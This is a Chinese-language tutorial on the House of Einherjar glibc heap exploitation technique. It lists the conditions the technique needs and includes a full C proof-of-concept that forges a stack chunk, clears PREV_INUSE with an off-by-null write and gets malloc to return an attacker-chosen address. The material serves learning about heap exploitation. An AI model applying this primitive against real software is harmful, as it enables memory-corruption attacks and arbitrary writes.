House Of Einherjar

House of Einherjar 是一种经典的堆利用技术，核心思想是利用 free 时的向后合并机制。通过伪造 prev_size 并清除 PREV_INUSE 标志位，欺骗 glibc 将当前释放的 chunk 与一个任意位置的伪造 chunk 合并，从而使得下一次 malloc 能够分配到目标地址，实现任意地址写。

House of Einherjar 的利用条件：

• 漏洞要求：存在单字节溢出（通常是 Off-By-Null）或常规的堆溢出漏洞。利用该漏洞能够覆盖相邻下一个 chunk 的 prev_size 字段，并且能将下一个 chunk 的 size 字段的最低字节覆盖为 \x00，从而清除其 PREV_INUSE（P位）标志。
• 伪造 Chunk 地址：由于需要计算偏移量（prev_size），需要知道伪造 Chunk 所在的内存地址 heap_base
• 目标 Chunk 地址：需要知道即将被释放的 chunk 的地址，实际上就是 heap_base + 偏移

howheap_House of Einherjar.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
   Credit to st4g3r for publishing this technique(感谢的话语)
   House of Einherjar 使用0字节溢出进行off-by-one利用,从而控制malloc()函数返回的指针.
   这个利用方式与有问题的Null Byte相比,可能造成更强大的原语,但是它有一个额外的条件就是需要泄露堆.
*/

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("欢迎来到House of Einherjar!\n");
	printf("在Ubuntu 16.04 64bit中测试.\n");
	printf("当你有一个能用0字节进行off-by-one利用,溢出到一个被分配的堆块区域,就可以进行house of enherjar.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	printf("\n我们分配0x38字节给a指针\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
	
	int real_a_size = malloc_usable_size(a);
	printf("因为我们需要对堆块a进行溢出,所以我们需要a所指堆块在舍入后的真实大小: %#x\n", real_a_size);

	// create a fake chunk
	printf("\n我们在我们指定的地方创建一个fake chunk,在这个例子中,我们将在栈上创建一个chunk\n");
	printf("然而,你也能创建chunk在堆中或者bss段中,只要你知道你所创建堆块的地址就可以.\n");
	printf("我们设置fd指针和bk指针都指向fake_chunk,这样我们就可以绕过unlink的检查. \n");
	printf("(这里在一些情况中我们也可以使用unlink漏洞)\n");

	size_t fake_chunk[6];

	fake_chunk[0] = 0x100; // prev_size现在是被使用的,我们必须与fake_chunk的大小相同,这样才能绕过P->bk->size == P->prev_size这个语句的检查
	fake_chunk[1] = 0x100; // 这个chunk的size仅仅需要满足进入small bin的大小就行
	fake_chunk[2] = (size_t) fake_chunk; // fwd
	fake_chunk[3] = (size_t) fake_chunk; // bck
	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


	printf("我们伪造的堆块地址为:%p \n堆块中的伪造数据如下:\n", fake_chunk);
	printf("prev_size (not used): %#lx\n", fake_chunk[0]);
	printf("size: %#lx\n", fake_chunk[1]);
	printf("fwd: %#lx\n", fake_chunk[2]);
	printf("bck: %#lx\n", fake_chunk[3]);
	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

	/* 在这个例子中如果块大小具有最小的合法字节,那么将更容易.
	 * 数值:0x00. 这个最小的合法字节将是0x00,因为chunk的size包括申请的大小加上元数据所需的大小. */
	b = (uint8_t*) malloc(0xf8);
	int real_b_size = malloc_usable_size(b);

	printf("\n我们分配0xf8字节给'b'指针.\n");
	printf("b: %p\n", b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	/*这个技术是通过覆盖已经一个已经分配的chunk的size位和pre_inuse bit位来实现的*/

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x100) | prev_inuse = 0x101\n");
	printf("我们使用空字节溢出'a'堆块,使得该空字节写入到b堆块中的size位和pre_inuse bit位\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("如果b.size是0x100的倍数,这时是最好利用的,此时我们不需要改变b的size,仅仅改变它的prev_inuse bit \n");
	printf("如果它已经被修改过了,我们需要在b中放一个fake_chunk,它将尝试与下一个chunk合并 \n");

	// 伪造fake prev_size,从而确定a堆块结束的位置
	printf("\n我们伪造一个fake prev_size在a的最后%lu bytes,这样它将和我们的fake_chunk合并 \n", sizeof(size_t));
	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	printf("我们的fake prev_size将是: %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//改变fake chunk的size位,使得其与b的新prev_size位相对应
	printf("\n修改fake_chunk的size位从而反应b的新prev_size位\n");
	fake_chunk[1] = fake_size;

	// 释放b并且它将和我们的堆块合并
	printf("现在我们释放b并且b将和我们的fake chunk合并,因为b的prev_inuse没有被设置\n");
	free(b);
	printf("我们的fake chunk的size位现在为: %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

	//如果在我们释放b之前我们分配另一个chunk,将需要做两件事情
	//1) 我们将需要调整我们fake chunk的size,这样才能使得fake_chunk + fake_chunk的size 指向我们所能控制的地方.
	//2) 我们将需要在我们所控制的区域中写入的fake chunk的大小.
	//在做这两件事情后,当unlink被调用时,我们的fake chunk将绕过size(P)== prev_size(next_chunk(P))的检测
	//否则我们需要确保我们的对着无效区域

	printf("\n现在我们将调用malloc()并且它将从我们的fake chunk开始申请\n");
	d = malloc(0x200);
	printf("下一个malloc(0x200) is at %p\n", d);
}

更新: 2026-04-27 09:30:58
原文: https://www.yuque.com/idcm/wnemg9/gwlx1517sud1tai6